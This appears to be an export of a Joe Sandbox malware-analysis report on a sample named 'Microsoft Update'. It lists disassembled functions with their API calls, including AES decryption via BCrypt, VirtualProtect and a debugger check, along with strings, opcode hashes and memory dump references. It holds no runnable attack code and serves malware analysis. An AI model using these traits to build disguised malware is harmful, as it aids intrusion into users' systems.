Associated: 0000000E.00000002.3548946101.00007FF7B6893000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549015764.00007FF7B68A6000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549036516.00007FF7B68A9000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549036516.00007FF7B68AD000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff7b6860000_Microsoft Update.jbxd

Similarity

API ID: GetctypeLocinfoLocinfo::~_std::_
String ID:
API String ID: 2174894026-0
Opcode ID: da1eb18025bff538b8e9dc7d3a011e135ed50f2ac53288191e3663e5c6dfc704
Instruction ID: 8b62d625fbdf7607731169da206911d04cfac5763ca737ded84814b367ed125d
Opcode Fuzzy Hash: da1eb18025bff538b8e9dc7d3a011e135ed50f2ac53288191e3663e5c6dfc704
Instruction Fuzzy Hash: 5411D622A09B8191EB11DB1DD9403AAB370FB65780F809171DB8C83A5AEF3CE9A0C350

Function 00007FF7B6862EA4 Relevance: 3.0, APIs: 2, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B6862ED9
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7B6862EDF

Memory Dump Source

Source File: 0000000E.00000002.3548879724.00007FF7B6861000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF7B6860000, based on PE: true

Associated: 0000000E.00000002.3548860134.00007FF7B6860000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3548946101.00007FF7B6893000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549015764.00007FF7B68A6000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549036516.00007FF7B68A9000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549036516.00007FF7B68AD000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff7b6860000_Microsoft Update.jbxd

Similarity

API ID: Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 73155330-0
Opcode ID: a194a70a435d94963801cc77b69bb2aee12c71a5cfe7fca752199d332ac51b30
Instruction ID: 91396e995266d2984f8df18278ab8665f4f83207b29db0a9c712bf35255bda24
Opcode Fuzzy Hash: a194a70a435d94963801cc77b69bb2aee12c71a5cfe7fca752199d332ac51b30
Instruction Fuzzy Hash: 77E0DF51F0A30341EC25F368CC9212A60845F26334ED00F70E73C4A7CFDD6CA9E20220

Function 00007FF7B687EC00 Relevance: 3.0, APIs: 2, Instructions: 19memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(?,?,00007FF7B687DEA3,00007FF7B68897F6,?,?,?,00007FF7B6889B73,?,?,00000000,00007FF7B688A0F9,?,?,?,00007FF7B688A02B), ref: 00007FF7B687EC16
GetLastError.KERNEL32(?,?,00007FF7B687DEA3,00007FF7B68897F6,?,?,?,00007FF7B6889B73,?,?,00000000,00007FF7B688A0F9,?,?,?,00007FF7B688A02B), ref: 00007FF7B687EC20

Memory Dump Source

Source File: 0000000E.00000002.3548879724.00007FF7B6861000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF7B6860000, based on PE: true

Associated: 0000000E.00000002.3548860134.00007FF7B6860000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3548946101.00007FF7B6893000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549015764.00007FF7B68A6000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549036516.00007FF7B68A9000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549036516.00007FF7B68AD000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff7b6860000_Microsoft Update.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 8f18e09e4d3f459fcebb6190283a93ec5630748711a7e27dc7ed95d1a752b9d3
Instruction ID: 71b2da6c4f520555f68601e319636f5ef47005646c63d744ee68a7088a415a94
Opcode Fuzzy Hash: 8f18e09e4d3f459fcebb6190283a93ec5630748711a7e27dc7ed95d1a752b9d3
Instruction Fuzzy Hash: 4EE04650E1820282FF18BBFA5C48036A1516FEAB01B8444B0CB0E42299EE2CA8B58231

Function 00007FF7B686BB8C Relevance: 1.7, APIs: 1, Instructions: 154COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B686BD81

Memory Dump Source

Source File: 0000000E.00000002.3548879724.00007FF7B6861000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF7B6860000, based on PE: true

Associated: 0000000E.00000002.3548860134.00007FF7B6860000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3548946101.00007FF7B6893000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549015764.00007FF7B68A6000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549036516.00007FF7B68A9000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549036516.00007FF7B68AD000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff7b6860000_Microsoft Update.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: e3692ecdf85e1a2b167456859b45131c385740239fdc57e1ef635e9ce5f23bd1
Instruction ID: 41b5832366a69b9bc9b3579111eda35b596becba62c534a7895244934541b7c5
Opcode Fuzzy Hash: e3692ecdf85e1a2b167456859b45131c385740239fdc57e1ef635e9ce5f23bd1
Instruction Fuzzy Hash: 1C51265170878581DD20FA5A9D041BBA355BB26FC8FD44571DF5E07B9AEE3CE2608310

Function 00007FF7B686C12C Relevance: 1.6, APIs: 1, Instructions: 84COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B686C22F

Memory Dump Source

Source File: 0000000E.00000002.3548879724.00007FF7B6861000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF7B6860000, based on PE: true

Associated: 0000000E.00000002.3548860134.00007FF7B6860000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3548946101.00007FF7B6893000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549015764.00007FF7B68A6000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549036516.00007FF7B68A9000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549036516.00007FF7B68AD000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff7b6860000_Microsoft Update.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: 37b4f74b3cab7774332e4ac1c10893a5eb03bbc6cc6b24a31c2c45ca1291b709
Instruction ID: 5380bacb49e51851f95925666d119785d9537b04bb24979515de996191eda90f
Opcode Fuzzy Hash: 37b4f74b3cab7774332e4ac1c10893a5eb03bbc6cc6b24a31c2c45ca1291b709
Instruction Fuzzy Hash: CE212762715A8581EE18EEAADD042BEE311EB19BD0F944532DF2C47789DE3CE4B18300

Function 00007FF7B6888A04 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7B6888A2F

Memory Dump Source

Source File: 0000000E.00000002.3548879724.00007FF7B6861000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF7B6860000, based on PE: true

Associated: 0000000E.00000002.3548860134.00007FF7B6860000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3548946101.00007FF7B6893000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549015764.00007FF7B68A6000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549036516.00007FF7B68A9000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549036516.00007FF7B68AD000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff7b6860000_Microsoft Update.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: e6c5121a4333c3c05ed46f19e9841ae9fdb1d4b8cd81f1238cede93ff1698a00
Instruction ID: d7cf7985a910bbc0f898be0ee0cacfe142e2127761e8137b6b97bd07a6f07f4a
Opcode Fuzzy Hash: e6c5121a4333c3c05ed46f19e9841ae9fdb1d4b8cd81f1238cede93ff1698a00
Instruction Fuzzy Hash: 75115EB292964282F310BB18BC4407AF394AB62B40F8905B4DB5D576DADE3CE8708B21

Function 00007FF7B688890C Relevance: 1.5, APIs: 1, Instructions: 46COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00007FF7B6880ED0: HeapAlloc.KERNEL32(?,?,00000000,00007FF7B687EFAF), ref: 00007FF7B6880F25

InitializeCriticalSectionEx.KERNEL32(?,?,00000000,00007FF7B6888C0D,?,?,?,?,?,00007FF7B688DE5C), ref: 00007FF7B6888953

Memory Dump Source

Source File: 0000000E.00000002.3548879724.00007FF7B6861000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF7B6860000, based on PE: true

Associated: 0000000E.00000002.3548860134.00007FF7B6860000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3548946101.00007FF7B6893000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549015764.00007FF7B68A6000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549036516.00007FF7B68A9000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549036516.00007FF7B68AD000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff7b6860000_Microsoft Update.jbxd

Similarity

API ID: AllocCriticalHeapInitializeSection
String ID:
API String ID: 2538999594-0
Opcode ID: 34912ae460dd9c8ef41947523464812468f17b05608072f55c6820b986965cba
Instruction ID: aac2f60574282ea11243aaa1ac46f0d96c3b1eda82459054b1c1aa7999eb9c41
Opcode Fuzzy Hash: 34912ae460dd9c8ef41947523464812468f17b05608072f55c6820b986965cba
Instruction Fuzzy Hash: 2411C12272878592E6109B19E94416EB750F762B90F988675E76D03BC9CF38E472C710

Function 00007FF7B687CFE0 Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7B687D00B

Memory Dump Source

Source File: 0000000E.00000002.3548879724.00007FF7B6861000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF7B6860000, based on PE: true

Associated: 0000000E.00000002.3548860134.00007FF7B6860000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3548946101.00007FF7B6893000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549015764.00007FF7B68A6000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549036516.00007FF7B68A9000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549036516.00007FF7B68AD000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff7b6860000_Microsoft Update.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 3334fc03d4526c45a1945f3ebc0e3e4fb037ddee8e4cc407577a4b961ea33b2e
Instruction ID: 365c9555b2f28ae94aac266a9c8dc29aceae9726b5795ed51f16e85c74b1cc8a
Opcode Fuzzy Hash: 3334fc03d4526c45a1945f3ebc0e3e4fb037ddee8e4cc407577a4b961ea33b2e
Instruction Fuzzy Hash: BD111732A00B069CEB10AFA4D8812ED37B4FB1531CF900536EB4D16B59EF34C1A5C3A0

Function 00007FF7B686F450 Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF7B686F464

Part of subcall function 00007FF7B6871348: __vcrt_uninitialize_ptd.LIBVCRUNTIME ref: 00007FF7B6871350
Part of subcall function 00007FF7B6871348: __vcrt_uninitialize_locks.LIBVCRUNTIME ref: 00007FF7B6871355

Memory Dump Source

Source File: 0000000E.00000002.3548879724.00007FF7B6861000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF7B6860000, based on PE: true

Associated: 0000000E.00000002.3548860134.00007FF7B6860000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3548946101.00007FF7B6893000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549015764.00007FF7B68A6000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549036516.00007FF7B68A9000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549036516.00007FF7B68AD000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff7b6860000_Microsoft Update.jbxd

Similarity

API ID: __scrt_dllmain_crt_thread_attach__vcrt_uninitialize_locks__vcrt_uninitialize_ptd
String ID:
API String ID: 1208906642-0
Opcode ID: c9f985825ac4b23d3176dd6cff68fcdf49005d8f78cc3528bc98d5864b33a504
Instruction ID: 0b76f909cf15144d6efc10851e58a6556370fb92368ea4d44a3dc33dfdc6b751
Opcode Fuzzy Hash: c9f985825ac4b23d3176dd6cff68fcdf49005d8f78cc3528bc98d5864b33a504
Instruction Fuzzy Hash: 23E0B614D0D24340FE653A6C1E022BB92420F37344ED010F8DB6E8699F9D8DE0BA5232

Function 00007FF7B687F1E0 Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

__vcrt_uninitialize_ptd.LIBVCRUNTIME ref: 00007FF7B687F216

Memory Dump Source

Source File: 0000000E.00000002.3548879724.00007FF7B6861000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF7B6860000, based on PE: true

Associated: 0000000E.00000002.3548860134.00007FF7B6860000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3548946101.00007FF7B6893000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549015764.00007FF7B68A6000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549036516.00007FF7B68A9000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549036516.00007FF7B68AD000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff7b6860000_Microsoft Update.jbxd

Similarity

API ID: __vcrt_uninitialize_ptd
String ID:
API String ID: 1180542099-0
Opcode ID: 27f1ce99f3a2ebded05665a5adf7d3d2c2d5278a548c9e2a2a42ea40b93467d2
Instruction ID: 73e9d8bce0aa5fc6a6c463638a6f27fab3b68d92b78f131ad34b126a852ef1bd
Opcode Fuzzy Hash: 27f1ce99f3a2ebded05665a5adf7d3d2c2d5278a548c9e2a2a42ea40b93467d2
Instruction Fuzzy Hash: 96E0E558D2D18384F955B76E1C460BA92802F3F310FD009F5E73D422DEEE2CA0B55635

Function 00007FF7B6881840 Relevance: 1.5, APIs: 1, Instructions: 11memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE ref: 00007FF7B6881860

Memory Dump Source

Source File: 0000000E.00000002.3548879724.00007FF7B6861000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF7B6860000, based on PE: true

Associated: 0000000E.00000002.3548860134.00007FF7B6860000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3548946101.00007FF7B6893000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549015764.00007FF7B68A6000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549036516.00007FF7B68A9000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549036516.00007FF7B68AD000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff7b6860000_Microsoft Update.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: c6c1d66225bcc87674840a07a5124f2e3bfdbb0ede8bdd8896bb1eb3909e00d7
Instruction ID: 07f0b21bb75c4e9554e893bca83f1b1bf84a2c7abab4bb0dce526b9e3ef93d90
Opcode Fuzzy Hash: c6c1d66225bcc87674840a07a5124f2e3bfdbb0ede8bdd8896bb1eb3909e00d7
Instruction Fuzzy Hash: 89D01225B35641D3E300EB11DC86BA6A368F7A9701FC05065EB4E81A98DF7CD6A9CB20

Function 00007FF7B6880ED0 Relevance: 1.3, APIs: 1, Instructions: 36memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32(?,?,00000000,00007FF7B687EFAF), ref: 00007FF7B6880F25

Memory Dump Source

Source File: 0000000E.00000002.3548879724.00007FF7B6861000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF7B6860000, based on PE: true

Associated: 0000000E.00000002.3548860134.00007FF7B6860000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3548946101.00007FF7B6893000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549015764.00007FF7B68A6000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549036516.00007FF7B68A9000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549036516.00007FF7B68AD000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff7b6860000_Microsoft Update.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 97f7d58160a855a53a73402b4ed82241c66eea07083e1b1f98e24e80810b323b
Instruction ID: 1051d13f64da7fd19d2868f844c0246510488824b2d901b09b1b0347d3aa953c
Opcode Fuzzy Hash: 97f7d58160a855a53a73402b4ed82241c66eea07083e1b1f98e24e80810b323b
Instruction Fuzzy Hash: 7EF06250B1A20781FE5577699C052B792811FB6F50FCC84B0CF0E863DAED6CE4B08634

Function 00007FF7B6882EE0 Relevance: 1.3, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32(?,?,?,00007FF7B688688D,?,?,00000000,00007FF7B688B7BF,?,?,?,00007FF7B687DEA3,?,?,?,00007FF7B687DD99), ref: 00007FF7B6882F1E

Memory Dump Source

Source File: 0000000E.00000002.3548879724.00007FF7B6861000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF7B6860000, based on PE: true

Associated: 0000000E.00000002.3548860134.00007FF7B6860000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3548946101.00007FF7B6893000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549015764.00007FF7B68A6000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549036516.00007FF7B68A9000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549036516.00007FF7B68AD000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff7b6860000_Microsoft Update.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: a9d17d1c7ae8bada2cf5ec7b01bdd172d7e06fe8588a6641971f920dfe8589d7
Instruction ID: fb5a876ec2e21575b3e95551e915b95f402f7484f70a178d0264522c0305e1ca
Opcode Fuzzy Hash: a9d17d1c7ae8bada2cf5ec7b01bdd172d7e06fe8588a6641971f920dfe8589d7
Instruction Fuzzy Hash: 93F0E940B1920341FE2536A96C55277D1406FB7F60FC806B0DF2E8A2C9ED6CE4B08670

Non-executed Functions

Function 00007FF7B68668C0 Relevance: 22.9, APIs: 7, Strings: 6, Instructions: 104COMMON

Download Yara Rule

APIs

BCryptOpenAlgorithmProvider.BCRYPT ref: 00007FF7B6866948
BCryptCloseAlgorithmProvider.BCRYPT ref: 00007FF7B6866B43
BCryptCloseAlgorithmProvider.BCRYPT ref: 00007FF7B6866B77
BCryptDestroyKey.BCRYPT ref: 00007FF7B6866BA9
BCryptCloseAlgorithmProvider.BCRYPT ref: 00007FF7B6866BBC
BCryptDestroyKey.BCRYPT ref: 00007FF7B6866BEA
BCryptCloseAlgorithmProvider.BCRYPT ref: 00007FF7B6866BFD

Strings

Failed to generate AES key., xrefs: 00007FF7B6866B7A
Failed to open AES algorithm provider., xrefs: 00007FF7B6866B12
Failed to decrypt data., xrefs: 00007FF7B6866C00
Failed to get AES key object size., xrefs: 00007FF7B6866B46
Failed to determine plaintext size., xrefs: 00007FF7B6866BBF
AES, xrefs: 00007FF7B6866933

Memory Dump Source

Source File: 0000000E.00000002.3548879724.00007FF7B6861000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF7B6860000, based on PE: true

Associated: 0000000E.00000002.3548860134.00007FF7B6860000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3548946101.00007FF7B6893000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549015764.00007FF7B68A6000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549036516.00007FF7B68A9000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549036516.00007FF7B68AD000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff7b6860000_Microsoft Update.jbxd

Similarity

API ID: Crypt$AlgorithmProvider$Close$Destroy$Open
String ID: AES$Failed to decrypt data.$Failed to determine plaintext size.$Failed to generate AES key.$Failed to get AES key object size.$Failed to open AES algorithm provider.
API String ID: 2193032904-3618429512
Opcode ID: c9bf1d422893450ae716ee890973d9d84fa9b818d3af34407316f935a39850f7
Instruction ID: fbf9bf89d275a6f1818169121faceebfcc9cfb33fb4bea35c037a0b5b46881fd
Opcode Fuzzy Hash: c9bf1d422893450ae716ee890973d9d84fa9b818d3af34407316f935a39850f7
Instruction Fuzzy Hash: 54416162B0890B95EB00EB79EC512FE6371EFA5388F805571EB1D4755CEE78E92AC310

Function 00007FF7B688DDCC Relevance: 13.8, APIs: 9, Instructions: 282fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00007FF7B688DAF4: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7B688DB43
Part of subcall function 00007FF7B688DAF4: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7B688DBBB
Part of subcall function 00007FF7B688DAF4: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7B688DC0C

CreateFileW.KERNEL32 ref: 00007FF7B688DEE2
CreateFileW.KERNEL32 ref: 00007FF7B688DF40
GetLastError.KERNEL32 ref: 00007FF7B688DF70
GetFileType.KERNEL32 ref: 00007FF7B688DF88
GetLastError.KERNEL32 ref: 00007FF7B688DF92
CloseHandle.KERNEL32 ref: 00007FF7B688DFC5
CloseHandle.KERNEL32 ref: 00007FF7B688E12B
CreateFileW.KERNEL32 ref: 00007FF7B688E160
GetLastError.KERNEL32 ref: 00007FF7B688E16F

Memory Dump Source

Source File: 0000000E.00000002.3548879724.00007FF7B6861000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF7B6860000, based on PE: true

Associated: 0000000E.00000002.3548860134.00007FF7B6860000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3548946101.00007FF7B6893000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549015764.00007FF7B68A6000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549036516.00007FF7B68A9000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549036516.00007FF7B68AD000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff7b6860000_Microsoft Update.jbxd

Similarity

API ID: File$CreateErrorLast_invalid_parameter_noinfo$CloseHandle$Type
String ID:
API String ID: 1617910340-0
Opcode ID: 5e1fce37355ae6b3998a0010bcb375b5567f6859d720004292b998146418c733
Instruction ID: ed9ef43d95a4a904e1ba15108c212c4770d3604c0edd0506bd10e9361375ae33
Opcode Fuzzy Hash: 5e1fce37355ae6b3998a0010bcb375b5567f6859d720004292b998146418c733
Instruction Fuzzy Hash: 18C1F633B24A4186EB10DF68C8842AD7761FBAAB98F505265DF1E577D9DF38E061C320

Function 00007FF7B688AA74 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 231COMMONLIBRARYCODE

Download Yara Rule

APIs

TranslateName.LIBCMT ref: 00007FF7B688AAE6

Part of subcall function 00007FF7B6887078: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7B68870AB

TranslateName.LIBCMT ref: 00007FF7B688AB24
GetACP.KERNEL32(?,00000000,?,00000092,?,00007FF7B687CCBA), ref: 00007FF7B688AB6E
IsValidCodePage.KERNEL32(?,00000000,?,00000092,?,00007FF7B687CCBA), ref: 00007FF7B688ABA6
GetLocaleInfoW.KERNEL32 ref: 00007FF7B688AD5D

Strings

utf8, xrefs: 00007FF7B688AC85

Memory Dump Source

Source File: 0000000E.00000002.3548879724.00007FF7B6861000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF7B6860000, based on PE: true

Associated: 0000000E.00000002.3548860134.00007FF7B6860000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3548946101.00007FF7B6893000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549015764.00007FF7B68A6000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549036516.00007FF7B68A9000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549036516.00007FF7B68AD000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff7b6860000_Microsoft Update.jbxd

Similarity

API ID: NameTranslate$CodeInfoLocalePageValid_invalid_parameter_noinfo
String ID: utf8
API String ID: 2487361160-905460609
Opcode ID: 4c74f848c638c3734628f59a3f7224248d3828b6c223383e360bd217977e9305
Instruction ID: 34cdadc9aceca83f700e274a4a196dee57d35791dca3ed448f0cdf4f04ff8c22
Opcode Fuzzy Hash: 4c74f848c638c3734628f59a3f7224248d3828b6c223383e360bd217977e9305
Instruction Fuzzy Hash: 8591B221A0874286E660BB29DC446BBA3A1FF66F84F844275DF4C437CADF3DE5658320

Function 00007FF7B686FE3C Relevance: 10.6, APIs: 7, Instructions: 71COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF7B686FE58
RtlCaptureContext.KERNEL32 ref: 00007FF7B686FE85
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF7B686FE9F
RtlVirtualUnwind.KERNEL32 ref: 00007FF7B686FEE0
IsDebuggerPresent.KERNEL32 ref: 00007FF7B686FF34
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF7B686FF51
UnhandledExceptionFilter.KERNEL32 ref: 00007FF7B686FF5C

Memory Dump Source

Source File: 0000000E.00000002.3548879724.00007FF7B6861000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF7B6860000, based on PE: true

Associated: 0000000E.00000002.3548860134.00007FF7B6860000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3548946101.00007FF7B6893000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549015764.00007FF7B68A6000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549036516.00007FF7B68A9000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549036516.00007FF7B68AD000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff7b6860000_Microsoft Update.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: ca36029218687d2e9ce25e8de0892eb2e2e879ba04d5627c4f59a1c16c2fec3c
Instruction ID: f33aefa8fb32bb7b759a1132253d8d335bd376c0bd552dc925a94cb2bb567ec9
Opcode Fuzzy Hash: ca36029218687d2e9ce25e8de0892eb2e2e879ba04d5627c4f59a1c16c2fec3c
Instruction Fuzzy Hash: 17315072609B8186EB609F64EC403EEB365FB96744F84403ADB4D47B99EF38D658C720

Function 00007FF7B688B4E0 Relevance: 9.2, APIs: 6, Instructions: 171COMMONLIBRARYCODE

